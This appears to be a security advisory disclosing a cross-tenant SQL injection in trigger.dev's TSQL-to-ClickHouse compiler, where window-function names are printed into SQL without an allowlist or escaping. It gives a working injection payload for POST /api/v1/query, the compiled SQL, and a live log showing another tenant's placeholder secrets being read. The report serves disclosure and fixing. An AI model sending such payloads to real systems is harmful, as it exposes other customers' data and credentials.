Details
### Summary
A cross-tenant SQL injection in the TSQL query compiler lets **any authenticated trigger.dev customer read every other tenant's analytics data**. The customer-facing query endpoint `POST /api/v1/query` accepts a TSQL/TRQL query that is compiled to ClickHouse SQL by `internal-packages/tsql`. The compiler parameterizes or escapes all user input and injects a per-tenant `WHERE` guard — **except the window-function name**, which is concatenated into the SQL string with no allowlist and no escaping. By smuggling a backtick-quoted identifier into that position, an attacker injects a raw subquery (e.g. `(SELECT ... FROM task_runs_v2 WHERE organization_id = 'org_VICTIM')`) that sits **outside** the tenant guard, exfiltrating another organization's rows. Verified end-to-end against the real compiler and a live ClickHouse.
### Details
**Vulnerable sink** — `internal-packages/tsql/src/query/printer.ts:3073-3075`, `ClickHousePrinter.visitWindowFunction`:
```ts
private visitWindowFunction(node: WindowFunction): string {
const args = node.args ? node.args.map((a) => this.visit(a)) : [];
const funcCall = `${node.name}(${args.join(", ")})`; // <-- node.name concatenated RAW
...
}
```
`node.name` is emitted directly into the SQL with **no allowlist check and no identifier escaping**. This is the only place in the compiler where an attacker-influenced identifier reaches the output unguarded:
- The normal function-call path `visitCall` (`printer.ts:2951`) throws `Unknown function` for any name outside the hardcoded `TSQL_CLICKHOUSE_FUNCTIONS` / `TSQL_AGGREGATIONS` allowlists — **this gate is absent on the window-function path**.
- String constants are bound as ClickHouse `query_params` (parameterized).
- Other identifiers go through `escapeClickHouseIdentifier`.
- Table functions (`url()/file()/remote()/s3()`) are rejected.
A **backtick-quoted identifier** is accepted by the lexer and **unescaped** into `node.name` by `visitIdentifier` (the backticks are stripped and the inner text is unescaped), so arbitrary characters — spaces, `(`, `)`, `,`, `'`, a full subquery — become the "function name" and are printed verbatim.
**How it bypasses tenant isolation.** Multi-tenancy is enforced only by `enforcedWhereClause`, which is attached to the **outer** table's `WHERE` (`organization_id`/`project_id`/`environment_id` taken from the caller's API key). An injected **subquery** has no such guard, so it reads across all tenants.
**Reachability** — `apps/webapp/app/routes/api.v1.query.ts`:
- `body.query` is a raw `z.string()`.
- Auth is any environment-scoped credential — a private API key or a public JWT — i.e. **any signed-up customer**.
- The route's authorization (`detectTables(body.query)` + `everyResource`) only authorizes the **outer `FROM` table** the caller is legitimately allowed to read. The injection rides in the SELECT/window position, so it is invisible to that check.
- `executeQuery` passes the caller's `organizationId/projectId/environmentId` into the enforced `WHERE`. The compiled `sql` string is then sent to ClickHouse (`internal-packages/clickhouse/src/client/tsql.ts`) with the injected subquery embedded **in the SQL string itself** (not in bound params), so ClickHouse executes it.
### PoC
Reproduced in two stages: (1) the project's real `compileTSQL` emits the injection; (2) a live ClickHouse executes it and returns another tenant's data.
**1. Attacker TSQL input** (sent as the `query` field to `POST /api/v1/query` with any valid API key / JWT, authenticated here as `tenant1`):
```sql
SELECT `count() OVER (), (SELECT groupArray(payload) FROM trigger_dev.task_runs_v2 WHERE organization_id = 'org_OTHER_TENANT') AS stolen, dummy(`() OVER () AS x FROM task_runs
```
**2. Compiled ClickHouse SQL emitted by `compileTSQL` (verbatim):**
```sql
SELECT count() OVER (),
(SELECT groupArray(payload) FROM trigger_dev.task_runs_v2
WHERE organization_id = 'org_OTHER_TENANT') AS stolen, -- INJECTED, RAW, UNGUARDED
dummy(() OVER () AS x
FROM trigger_dev.task_runs_v2 AS task_runs
WHERE and(equals(task_runs.organization_id, {tsql_val_0: String}),
equals(task_runs.project_id, {tsql_val_1: String}),
equals(task_runs.environment_id, {tsql_val_2: String})) -- guard ONLY on outer table
LIMIT 10000
```
The injected subquery against `org_OTHER_TENANT` is emitted raw (its org id is a literal, not a bound `{tsql_val}` param) and sits outside the tenant guard.
**3. Live ClickHouse execution.** A `trigger_dev.task_runs_v2` table seeded with two tenants; a syntactically-valid variant of the above run as a caller scoped to `org_tenant1`:
```
Seed:
org_tenant1 -> payload 'tenant1-public-data' (attacker's own org)
org_OTHER_TENANT -> 'VICTIM-SECRET-stripe_sk_live_DEADBEEF',
'VICTIM-SECRET-db_password_hunter2' (victim)
Baseline (legitimate tenant1 query, guard = org_tenant1):
-> 'tenant1-public-data' (only own data)
Exploit (injected subquery, guard STILL org_tenant1):
SELECT 1 AS keep,
(SELECT groupArray(payload) FROM trigger_dev.task_runs_v2 WHERE organization_id = 'org_OTHER_TENANT') AS stolen,
count() OVER () AS w
FROM trigger_dev.task_runs_v2 AS task_runs
WHERE and(equals(task_runs.organization_id, 'org_tenant1'), ...)
-> stolen = ['VICTIM-SECRET-stripe_sk_live_DEADBEEF','VICTIM-SECRET-db_password_hunter2']
```
A caller scoped to `org_tenant1` exfiltrated `org_OTHER_TENANT`'s secret payloads — cross-tenant SQL injection confirmed against the real compiler and a live ClickHouse.
**Reproduce the compiler step** with a vitest in `internal-packages/tsql` (mirrors the repo's `src/query/security.test.ts` tenant setup): compile the attacker string above with `enforcedWhereClause` set to `org_tenant1` and assert the output contains `(SELECT groupArray(payload) FROM trigger_dev.task_runs_v2 WHERE organization_id = 'org_OTHER_TENANT')`. Then run that SQL against a ClickHouse seeded as above.
